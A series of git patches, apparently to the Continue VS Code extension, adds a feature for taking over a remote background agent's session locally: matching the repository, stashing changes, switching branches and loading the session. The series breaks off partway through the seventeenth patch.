From b5d5f87898bda34765763890b382a745f5c14e61 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Tue, 14 Oct 2025 15:42:33 -0700 Subject: [PATCH 01/30] feat: local takeover --- core/control-plane/client.ts | 66 ++++++++ core/protocol/ideWebview.ts | 7 + .../vscode/src/extension/VsCodeMessenger.ts | 152 ++++++++++++++++++ .../components/BackgroundMode/AgentsList.tsx | 128 ++++++++++++--- gui/src/hooks/ParallelListeners.tsx | 5 + 5 files changed, 332 insertions(+), 26 deletions(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index d33374565..2b4717838 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -574,4 +574,70 @@ export class ControlPlaneClient { return { agents: [], totalCount: 0 }; } } + + /** + * Get the full agent session information + * @param agentSessionId - The ID of the agent session + * @returns The agent session view including metadata and status + */ + public async getAgentSession(agentSessionId: string): Promise { + if (!(await this.isSignedIn())) { + return null; + } + + try { + const resp = await this.requestAndHandleError( + `agents/${agentSessionId}`, + { + method: "GET", + }, + ); + + return await resp.json(); + } catch (e) { + Logger.error(e, { + context: "control_plane_get_agent_session", + agentSessionId, + }); + return null; + } + } + + /** + * Get the state of a specific background agent + * @param agentSessionId - The ID of the agent session + * @returns The agent's session state including history, workspace, and branch + */ + public async getAgentState(agentSessionId: string): Promise<{ + session: Session; + isProcessing: boolean; + messageQueueLength: number; + pendingPermission: any; + } | null> { + if (!(await this.isSignedIn())) { + return null; + } + + try { + const resp = await this.requestAndHandleError( + `agents/${agentSessionId}/state`, + { + method: "GET", + }, + ); + + return (await resp.json()) as { + session: Session; + isProcessing: boolean; + messageQueueLength: number; + pendingPermission: any; + }; + } catch (e) { + Logger.error(e, { + context: "control_plane_get_agent_state", + agentSessionId, + }); + return null; + } + } } diff --git a/core/protocol/ideWebview.ts b/core/protocol/ideWebview.ts index c61844cca..f1d269292 100644 --- a/core/protocol/ideWebview.ts +++ b/core/protocol/ideWebview.ts @@ -78,6 +78,12 @@ export type ToIdeFromWebviewProtocol = ToIdeFromWebviewOrCoreProtocol & { totalCount: number; }, ]; + openAgentLocally: [ + { + agentSessionId: string; + }, + void, + ]; }; export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { @@ -94,6 +100,7 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { focusContinueSessionId: [{ sessionId: string | undefined }, void]; newSession: [undefined, void]; + loadAgentSession: [{ session: any }, void]; setTheme: [{ theme: any }, void]; setColors: [{ [key: string]: string }, void]; "jetbrains/editorInsetRefresh": [undefined, void]; diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 7c855100c..6b59ec9f9 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -425,6 +425,158 @@ export class VsCodeMessenger { } }); + this.onWebview("openAgentLocally", async (msg) => { + const configHandler = await configHandlerPromise; + const { agentSessionId } = msg.data; + + try { + // First, fetch the agent session to get repo URL and branch + const agentSession = + await configHandler.controlPlaneClient.getAgentSession( + agentSessionId, + ); + if (!agentSession || !agentSession.metadata) { + vscode.window.showErrorMessage( + "Failed to load agent session details.", + ); + return; + } + + const repoUrl = agentSession.metadata.repoUrl || agentSession.repoUrl; + const branch = agentSession.metadata.branchName || agentSession.branch; + + if (!repoUrl || !branch) { + vscode.window.showErrorMessage( + "Agent session is missing repository or branch information.", + ); + return; + } + + // Get workspace directories + const workspaceDirs = await this.ide.getWorkspaceDirs(); + if (workspaceDirs.length === 0) { + vscode.window.showErrorMessage("No workspace folder is open."); + return; + } + + // Find the workspace that matches the agent's repo URL + let matchingWorkspace: string | null = null; + for (const workspaceDir of workspaceDirs) { + const repoName = await this.ide.getRepoName(workspaceDir); + if (repoName) { + // Normalize repo URLs for comparison + const normalizedRepoName = + repoName.includes("/") && !repoName.startsWith("http") + ? `https://github.com/${repoName}` + : repoName; + const normalizedAgentRepo = + repoUrl.includes("/") && !repoUrl.startsWith("http") + ? `https://github.com/${repoUrl}` + : repoUrl; + + if (normalizedRepoName === normalizedAgentRepo) { + matchingWorkspace = workspaceDir; + break; + } + } + } + + if (!matchingWorkspace) { + vscode.window.showErrorMessage( + `This agent is for repository ${repoUrl}. Please open that workspace to take over the workflow.`, + ); + return; + } + + // Get the git repository + const repo = await this.ide.getRepo(matchingWorkspace); + if (!repo) { + vscode.window.showErrorMessage("Could not access git repository."); + return; + } + + // Stash any uncommitted changes + if ( + repo.state.workingTreeChanges.length > 0 || + repo.state.indexChanges.length > 0 + ) { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: "Stashing local changes...", + cancellable: false, + }, + async () => { + // Use git command to stash + await this.ide.subprocess( + `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, + matchingWorkspace, + ); + }, + ); + vscode.window.showInformationMessage( + "Local changes have been stashed.", + ); + } catch (e) { + console.error("Failed to stash changes:", e); + const choice = await vscode.window.showWarningMessage( + "Failed to stash changes. Continue anyway?", + "Yes", + "No", + ); + if (choice !== "Yes") { + return; + } + } + } + + // Switch to the agent's branch + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Switching to branch ${branch}...`, + cancellable: false, + }, + async () => { + await this.ide.subprocess( + `git checkout ${branch}`, + matchingWorkspace, + ); + }, + ); + } catch (e) { + console.error("Failed to switch branch:", e); + vscode.window.showErrorMessage( + `Failed to switch to branch ${branch}. Please ensure the branch exists.`, + ); + return; + } + + // Fetch the agent state + const agentState = + await configHandler.controlPlaneClient.getAgentState(agentSessionId); + if (!agentState || !agentState.session) { + vscode.window.showErrorMessage("Failed to load agent session state."); + return; + } + + // For MVP: Simply load the session by sending to webview + // The webview will dispatch the newSession action with the session data + this.webviewProtocol.send("loadAgentSession", agentState.session); + + vscode.window.showInformationMessage( + `Successfully loaded agent workflow: ${agentState.session.title || "Untitled"}`, + ); + } catch (e) { + console.error("Failed to open agent locally:", e); + vscode.window.showErrorMessage( + `Failed to open agent locally: ${e instanceof Error ? e.message : "Unknown error"}`, + ); + } + }); + /** PASS THROUGH FROM WEBVIEW TO CORE AND BACK **/ WEBVIEW_TO_CORE_PASS_THROUGH.forEach((messageType) => { this.onWebview(messageType, async (msg) => { diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index ee1468b91..8ba6aca61 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -1,4 +1,4 @@ -import { ArrowPathIcon } from "@heroicons/react/24/outline"; +import { ArrowPathIcon, ArrowDownTrayIcon } from "@heroicons/react/24/outline"; import { useContext, useEffect, useState } from "react"; import { useAuth } from "../../context/Auth"; import { IdeMessengerContext } from "../../context/IdeMessenger"; @@ -27,6 +27,40 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { const [agents, setAgents] = useState(null); const [totalCount, setTotalCount] = useState(0); const [error, setError] = useState(null); + const [workspaceRepoUrls, setWorkspaceRepoUrls] = useState([]); + + // Fetch workspace repo URLs once on mount + useEffect(() => { + async function fetchWorkspaceRepos() { + try { + const workspaceDirs = await ideMessenger.request( + "getWorkspaceDirs", + undefined, + ); + if (workspaceDirs.status === "success" && workspaceDirs.content) { + const repoUrls: string[] = []; + for (const dir of workspaceDirs.content) { + const repoNameResult = await ideMessenger.request("getRepoName", { + dir, + }); + if (repoNameResult.status === "success" && repoNameResult.content) { + // Normalize repo URL + const repoName = repoNameResult.content; + const normalizedUrl = + repoName.includes("/") && !repoName.startsWith("http") + ? `https://github.com/${repoName}` + : repoName; + repoUrls.push(normalizedUrl); + } + } + setWorkspaceRepoUrls(repoUrls); + } + } catch (err) { + console.error("Failed to fetch workspace repos:", err); + } + } + void fetchWorkspaceRepos(); + }, [ideMessenger]); useEffect(() => { async function fetchAgents() { @@ -78,6 +112,23 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { return () => clearInterval(interval); }, [session, ideMessenger, currentOrg]); + // Helper function to check if an agent's repo matches any workspace repo + const isAgentInCurrentWorkspace = (agentRepoUrl: string): boolean => { + const normalizedAgentRepo = + agentRepoUrl.includes("/") && !agentRepoUrl.startsWith("http") + ? `https://github.com/${agentRepoUrl}` + : agentRepoUrl; + + return workspaceRepoUrls.some( + (workspaceUrl) => workspaceUrl === normalizedAgentRepo, + ); + }; + + const handleOpenLocally = (agent: Agent, e: React.MouseEvent) => { + e.stopPropagation(); // Prevent opening the agent detail page + ideMessenger.post("openAgentLocally", { agentSessionId: agent.id }); + }; + if (error) { return (
@@ -108,36 +159,61 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { Background Tasks
- {agents.map((agent) => ( -
{ - // Open agent detail in browser - ideMessenger.post("controlPlane/openUrl", { - path: `agents/${agent.id}`, - orgSlug: currentOrg?.slug, - }); - }} - > -
-
-
- {agent.name || "Unnamed Agent"} + {agents.map((agent) => { + const isInWorkspace = isAgentInCurrentWorkspace(agent.repoUrl); + const canOpenLocally = isInWorkspace; + + return ( +
{ + // Open agent detail in browser + ideMessenger.post("controlPlane/openUrl", { + path: `agents/${agent.id}`, + orgSlug: currentOrg?.slug, + }); + }} + > +
+
+
+ {agent.name || "Unnamed Agent"} +
+
+ {agent.metadata?.github_repo || agent.repoUrl} +
-
- {agent.metadata?.github_repo || agent.repoUrl} +
+ +
+ +
-
- +
+ {formatRelativeTime(agent.createdAt)}
-
- {formatRelativeTime(agent.createdAt)} -
-
- ))} + ); + })} {totalCount > agents.length && (
{agents.map((agent) => { - const isInWorkspace = isAgentInCurrentWorkspace(agent.repoUrl); + const isInWorkspace = isAgentInCurrentWorkspace(agent); const canOpenLocally = isInWorkspace; return ( From feb5f66d2692d72858055a0d3b516bf6631a9c26 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Tue, 14 Oct 2025 15:59:38 -0700 Subject: [PATCH 03/30] fix: repo url --- extensions/vscode/src/extension/VsCodeMessenger.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index c5dedbffa..464a5c749 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -472,15 +472,15 @@ export class VsCodeMessenger { await configHandler.controlPlaneClient.getAgentSession( agentSessionId, ); - if (!agentSession || !agentSession.metadata) { + if (!agentSession) { vscode.window.showErrorMessage( "Failed to load agent session details.", ); return; } - const repoUrl = agentSession.metadata.repoUrl || agentSession.repoUrl; - const branch = agentSession.metadata.branchName || agentSession.branch; + const repoUrl = agentSession.repoUrl; + const branch = agentSession.branch; if (!repoUrl || !branch) { vscode.window.showErrorMessage( From db3203a9cb8f051a04d8a5064ae65462a165988c Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Tue, 14 Oct 2025 16:45:58 -0700 Subject: [PATCH 04/30] fix: switching branches --- .../vscode/src/extension/VsCodeMessenger.ts | 74 +++++++++++++++---- .../components/BackgroundMode/AgentsList.tsx | 3 - gui/src/hooks/ParallelListeners.tsx | 4 +- 3 files changed, 61 insertions(+), 20 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 464a5c749..dd7c31122 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -562,25 +562,69 @@ export class VsCodeMessenger { } } - // Switch to the agent's branch + // Check if we're already on the target branch try { - await vscode.window.withProgress( - { - location: vscode.ProgressLocation.Notification, - title: `Switching to branch ${branch}...`, - cancellable: false, - }, - async () => { - await this.ide.subprocess( - `git checkout ${branch}`, - matchingWorkspace, - ); - }, + const currentBranch = await this.ide.getBranch(matchingWorkspace); + console.log( + `Current branch: ${currentBranch}, Target branch: ${branch}`, ); - } catch (e) { + + if (currentBranch !== branch) { + // Try to switch to the branch + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Switching to branch ${branch}...`, + cancellable: false, + }, + async () => { + try { + // First try a simple checkout + await this.ide.subprocess( + `git checkout ${branch}`, + matchingWorkspace, + ); + } catch (checkoutError: any) { + console.log( + "Simple checkout failed, trying to fetch and checkout...", + checkoutError, + ); + + // If that fails, try fetching and then checking out + try { + await this.ide.subprocess( + `git fetch origin ${branch}:${branch}`, + matchingWorkspace, + ); + await this.ide.subprocess( + `git checkout ${branch}`, + matchingWorkspace, + ); + } catch (fetchError: any) { + console.log( + "Fetch and checkout failed, trying checkout with tracking...", + fetchError, + ); + + // Last attempt: checkout with tracking + await this.ide.subprocess( + `git checkout -b ${branch} origin/${branch}`, + matchingWorkspace, + ); + } + } + }, + ); + vscode.window.showInformationMessage( + `Switched to branch ${branch}`, + ); + } else { + console.log("Already on target branch, skipping checkout"); + } + } catch (e: any) { console.error("Failed to switch branch:", e); vscode.window.showErrorMessage( - `Failed to switch to branch ${branch}. Please ensure the branch exists.`, + `Failed to switch to branch ${branch}: ${e.message || "Unknown error"}`, ); return; } diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 1ab66d180..20c878d1f 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -85,7 +85,6 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { } } setWorkspaceRepoUrls(repoUrls); - console.log("Workspace repo URLs:", repoUrls); } } catch (err) { console.error("Failed to fetch workspace repos:", err); @@ -152,8 +151,6 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { .map(normalizeRepoUrl) .filter((url) => url !== ""); - console.log("Agent URLs:", agentUrls, "Workspace URLs:", workspaceRepoUrls); - // Check if any of the agent URLs match any workspace URL return workspaceRepoUrls.some((workspaceUrl) => agentUrls.some((agentUrl) => agentUrl === workspaceUrl), diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index 1e4a7d397..cbc5a6c5b 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -206,8 +206,8 @@ function ParallelListeners() { void dispatch(cancelStream()); }); - useWebviewListener("loadAgentSession", async (session) => { - dispatch(newSession(session)); + useWebviewListener("loadAgentSession", async (data) => { + dispatch(newSession(data.session)); }); useWebviewListener("setTTSActive", async (status) => { From 27ea423fef54d0b2977ad6de10798add92604799 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Wed, 15 Oct 2025 16:51:35 -0700 Subject: [PATCH 05/30] improv: error handling --- core/control-plane/client.ts | 6 +++-- .../vscode/src/extension/VsCodeMessenger.ts | 22 +++++++++++++++++-- 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 2b4717838..746dd2bd2 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -12,10 +12,10 @@ import fetch, { RequestInit, Response } from "node-fetch"; import { OrganizationDescription } from "../config/ProfileLifecycleManager.js"; import { + BaseSessionMetadata, IDE, ModelDescription, Session, - BaseSessionMetadata, } from "../index.js"; import { Logger } from "../util/Logger.js"; @@ -614,6 +614,7 @@ export class ControlPlaneClient { messageQueueLength: number; pendingPermission: any; } | null> { + debugger; if (!(await this.isSignedIn())) { return null; } @@ -626,12 +627,13 @@ export class ControlPlaneClient { }, ); - return (await resp.json()) as { + const result = (await resp.json()) as { session: Session; isProcessing: boolean; messageQueueLength: number; pendingPermission: any; }; + return result; } catch (e) { Logger.error(e, { context: "control_plane_get_agent_state", diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index dd7c31122..0bde082f4 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -632,8 +632,26 @@ export class VsCodeMessenger { // Fetch the agent state const agentState = await configHandler.controlPlaneClient.getAgentState(agentSessionId); - if (!agentState || !agentState.session) { - vscode.window.showErrorMessage("Failed to load agent session state."); + + // Debug what we got back + debugger; + console.log("Agent state response:", agentState); + + if (!agentState) { + vscode.window.showErrorMessage( + "Failed to fetch agent state from API. The agent may not exist or you may not have permission.", + ); + return; + } + + if (!agentState.session) { + console.error( + "Agent state is missing session field. Full response:", + agentState, + ); + vscode.window.showErrorMessage( + "Agent state returned but missing session data. This may be a backend issue.", + ); return; } From 015f365e32d23b686d844a4740d975c6c35ad8bd Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Wed, 15 Oct 2025 16:52:41 -0700 Subject: [PATCH 06/30] fix: undo debugger --- core/control-plane/client.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 746dd2bd2..27e5108d7 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -614,7 +614,7 @@ export class ControlPlaneClient { messageQueueLength: number; pendingPermission: any; } | null> { - debugger; + // debugger; if (!(await this.isSignedIn())) { return null; } From c45d19f64f28ad8c1fcfcb6112526107d3b1ad6b Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Wed, 15 Oct 2025 17:22:33 -0700 Subject: [PATCH 07/30] fix: broken api --- extensions/vscode/src/extension/VsCodeMessenger.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 0bde082f4..438eaa6e8 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -634,7 +634,7 @@ export class VsCodeMessenger { await configHandler.controlPlaneClient.getAgentState(agentSessionId); // Debug what we got back - debugger; + // debugger; console.log("Agent state response:", agentState); if (!agentState) { @@ -657,7 +657,9 @@ export class VsCodeMessenger { // For MVP: Simply load the session by sending to webview // The webview will dispatch the newSession action with the session data - this.webviewProtocol.send("loadAgentSession", agentState.session); + this.webviewProtocol.send("loadAgentSession", { + session: agentState.session, + }); vscode.window.showInformationMessage( `Successfully loaded agent workflow: ${agentState.session.title || "Untitled"}`, From 82f7e29a446db5bfec55077b10537f97f2d2d026 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Wed, 15 Oct 2025 17:27:11 -0700 Subject: [PATCH 08/30] improv: set agent mode --- gui/src/hooks/ParallelListeners.tsx | 2 ++ 1 file changed, 2 insertions(+) diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index cbc5a6c5b..9ecbeeb17 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -17,6 +17,7 @@ import { newSession, setHasReasoningEnabled, setIsSessionMetadataLoading, + setMode, } from "../redux/slices/sessionSlice"; import { setTTSActive } from "../redux/slices/uiSlice"; @@ -208,6 +209,7 @@ function ParallelListeners() { useWebviewListener("loadAgentSession", async (data) => { dispatch(newSession(data.session)); + dispatch(setMode("agent")); }); useWebviewListener("setTTSActive", async (status) => { From 01d2429c872a019b183577a0262cf26ffaa950cf Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Wed, 15 Oct 2025 17:50:24 -0700 Subject: [PATCH 09/30] fix: switching branches --- .../vscode/src/extension/VsCodeMessenger.ts | 39 ++++--------------- 1 file changed, 8 insertions(+), 31 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 438eaa6e8..c957a9c99 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -570,7 +570,7 @@ export class VsCodeMessenger { ); if (currentBranch !== branch) { - // Try to switch to the branch + // Try to switch to the branch using VS Code Git API await vscode.window.withProgress( { location: vscode.ProgressLocation.Notification, @@ -579,39 +579,16 @@ export class VsCodeMessenger { }, async () => { try { - // First try a simple checkout - await this.ide.subprocess( - `git checkout ${branch}`, - matchingWorkspace, - ); + // Use VS Code Git API for checkout + await repo.checkout(branch); } catch (checkoutError: any) { console.log( - "Simple checkout failed, trying to fetch and checkout...", + "Checkout failed, trying to fetch first...", checkoutError, ); - - // If that fails, try fetching and then checking out - try { - await this.ide.subprocess( - `git fetch origin ${branch}:${branch}`, - matchingWorkspace, - ); - await this.ide.subprocess( - `git checkout ${branch}`, - matchingWorkspace, - ); - } catch (fetchError: any) { - console.log( - "Fetch and checkout failed, trying checkout with tracking...", - fetchError, - ); - - // Last attempt: checkout with tracking - await this.ide.subprocess( - `git checkout -b ${branch} origin/${branch}`, - matchingWorkspace, - ); - } + // If checkout fails, fetch and try again + await repo.fetch(); + await repo.checkout(branch); } }, ); @@ -624,7 +601,7 @@ export class VsCodeMessenger { } catch (e: any) { console.error("Failed to switch branch:", e); vscode.window.showErrorMessage( - `Failed to switch to branch ${branch}: ${e.message || "Unknown error"}`, + `Failed to switch to branch ${branch}: ${e.message || String(e)}`, ); return; } From 83b4be14227a2cbaad6e0512fc38d9aa20f9b903 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 09:29:52 -0700 Subject: [PATCH 10/30] fix: stashing --- extensions/vscode/src/extension/VsCodeMessenger.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index c957a9c99..831f9093d 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -539,10 +539,13 @@ export class VsCodeMessenger { cancellable: false, }, async () => { - // Use git command to stash + // Convert URI to file system path + const workspacePath = + vscode.Uri.parse(matchingWorkspace).fsPath; + await this.ide.subprocess( `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, - matchingWorkspace, + workspacePath, ); }, ); From a3bc3a792d86829998fa1b728264a84c6bdf873d Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 09:42:34 -0700 Subject: [PATCH 11/30] improv: stash dialog --- .../vscode/src/extension/VsCodeMessenger.ts | 73 +++++++++++-------- 1 file changed, 43 insertions(+), 30 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 831f9093d..799ef23bc 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -526,43 +526,56 @@ export class VsCodeMessenger { return; } - // Stash any uncommitted changes + // Ask user what to do with uncommitted changes if ( repo.state.workingTreeChanges.length > 0 || repo.state.indexChanges.length > 0 ) { - try { - await vscode.window.withProgress( - { - location: vscode.ProgressLocation.Notification, - title: "Stashing local changes...", - cancellable: false, - }, - async () => { - // Convert URI to file system path - const workspacePath = - vscode.Uri.parse(matchingWorkspace).fsPath; + const changeCount = + repo.state.workingTreeChanges.length + + repo.state.indexChanges.length; - await this.ide.subprocess( - `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, - workspacePath, - ); - }, - ); - vscode.window.showInformationMessage( - "Local changes have been stashed.", - ); - } catch (e) { - console.error("Failed to stash changes:", e); - const choice = await vscode.window.showWarningMessage( - "Failed to stash changes. Continue anyway?", - "Yes", - "No", - ); - if (choice !== "Yes") { - return; + const choice = await vscode.window.showWarningMessage( + `You have ${changeCount} uncommitted change(s). What would you like to do?`, + "Stash & Continue", + "Continue Without Stashing", + "Cancel", + ); + + if (choice === "Cancel" || !choice) { + return; + } + + if (choice === "Stash & Continue") { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: "Stashing local changes...", + cancellable: false, + }, + async () => { + const workspacePath = + vscode.Uri.parse(matchingWorkspace).fsPath; + await this.ide.subprocess( + `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, + workspacePath, + ); + }, + ); + vscode.window.showInformationMessage( + "Local changes have been stashed.", + ); + } catch (e) { + console.error("Failed to stash changes:", e); + const errorMsg = e instanceof Error ? e.message : String(e); + vscode.window.showErrorMessage( + `Failed to stash changes: ${errorMsg}`, + ); + return; // Stop on stash failure } } + // If "Continue Without Stashing" was chosen, just proceed } // Check if we're already on the target branch From a5e02ebdb7324537963f17a975c85b51afdee7b0 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 10:29:15 -0700 Subject: [PATCH 12/30] improv: clean up code --- core/control-plane/client.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 27e5108d7..124128681 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -614,7 +614,6 @@ export class ControlPlaneClient { messageQueueLength: number; pendingPermission: any; } | null> { - // debugger; if (!(await this.isSignedIn())) { return null; } From 3f3af31832dd72bb6823b1ae6a095d23ab73dea3 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 10:39:07 -0700 Subject: [PATCH 13/30] improv: ui --- .../components/BackgroundMode/AgentsList.tsx | 43 +++++++++---------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 20c878d1f..2c341b1ca 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -4,6 +4,7 @@ import { useAuth } from "../../context/Auth"; import { IdeMessengerContext } from "../../context/IdeMessenger"; import { useAppSelector } from "../../redux/hooks"; import { selectCurrentOrg } from "../../redux/slices/profilesSlice"; +import { Button } from "../ui"; interface Agent { id: string; @@ -219,26 +220,21 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) {
-
- -
+
@@ -249,17 +245,18 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { })} {totalCount > agents.length && (
- +
)}
From ce88f9a7594bb6da7ad12876797db5e0b84cfba5 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 10:47:10 -0700 Subject: [PATCH 14/30] fix: icon --- gui/src/components/BackgroundMode/AgentsList.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 2c341b1ca..5a7b98697 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -1,4 +1,4 @@ -import { ArrowPathIcon, ArrowDownTrayIcon } from "@heroicons/react/24/outline"; +import { ArrowPathIcon, PlayIcon } from "@heroicons/react/24/outline"; import { useContext, useEffect, useState } from "react"; import { useAuth } from "../../context/Auth"; import { IdeMessengerContext } from "../../context/IdeMessenger"; @@ -233,7 +233,7 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { : "This agent is for a different repository. Open the correct workspace to take over this workflow." } > - +
From 48a2517349a098aae206d184316425b819e9cca4 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 16:16:16 -0700 Subject: [PATCH 15/30] fix: dependency array --- gui/src/components/BackgroundMode/BackgroundModeView.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/gui/src/components/BackgroundMode/BackgroundModeView.tsx b/gui/src/components/BackgroundMode/BackgroundModeView.tsx index db917b651..8e7551b94 100644 --- a/gui/src/components/BackgroundMode/BackgroundModeView.tsx +++ b/gui/src/components/BackgroundMode/BackgroundModeView.tsx @@ -84,7 +84,7 @@ export function BackgroundModeView({ } void checkGitHubAuth(); - }, [session, ideMessenger]); + }, [session, ideMessenger, currentOrg]); if (!session) { return ( From ca9224a26dc075896efd82ceeefef984116ced8c Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 16:21:46 -0700 Subject: [PATCH 16/30] fix: missing org id --- gui/src/components/BackgroundMode/BackgroundModeView.tsx | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/gui/src/components/BackgroundMode/BackgroundModeView.tsx b/gui/src/components/BackgroundMode/BackgroundModeView.tsx index 8e7551b94..b721d28c3 100644 --- a/gui/src/components/BackgroundMode/BackgroundModeView.tsx +++ b/gui/src/components/BackgroundMode/BackgroundModeView.tsx @@ -55,7 +55,11 @@ export function BackgroundModeView({ setCheckingGitHub(true); // Try to list agents - if this fails with GitHub token error, // we know GitHub isn't connected - const result = await ideMessenger.request("listBackgroundAgents", {}); + const organizationId = + currentOrg?.id !== "personal" ? currentOrg?.id : undefined; + const result = await ideMessenger.request("listBackgroundAgents", { + organizationId, + }); // Check for error response if ("error" in result) { From 63ac02ba95170bb135192e3808d0d7acfb420a69 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 16:38:45 -0700 Subject: [PATCH 17/30] fix: normalization --- extensions/vscode/src/extension/VsCodeMessenger.ts | 8 ++++++++ gui/src/components/BackgroundMode/AgentsList.tsx | 8 ++++++++ 2 files changed, 16 insertions(+) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 799ef23bc..77c0cbab9 100644 --- 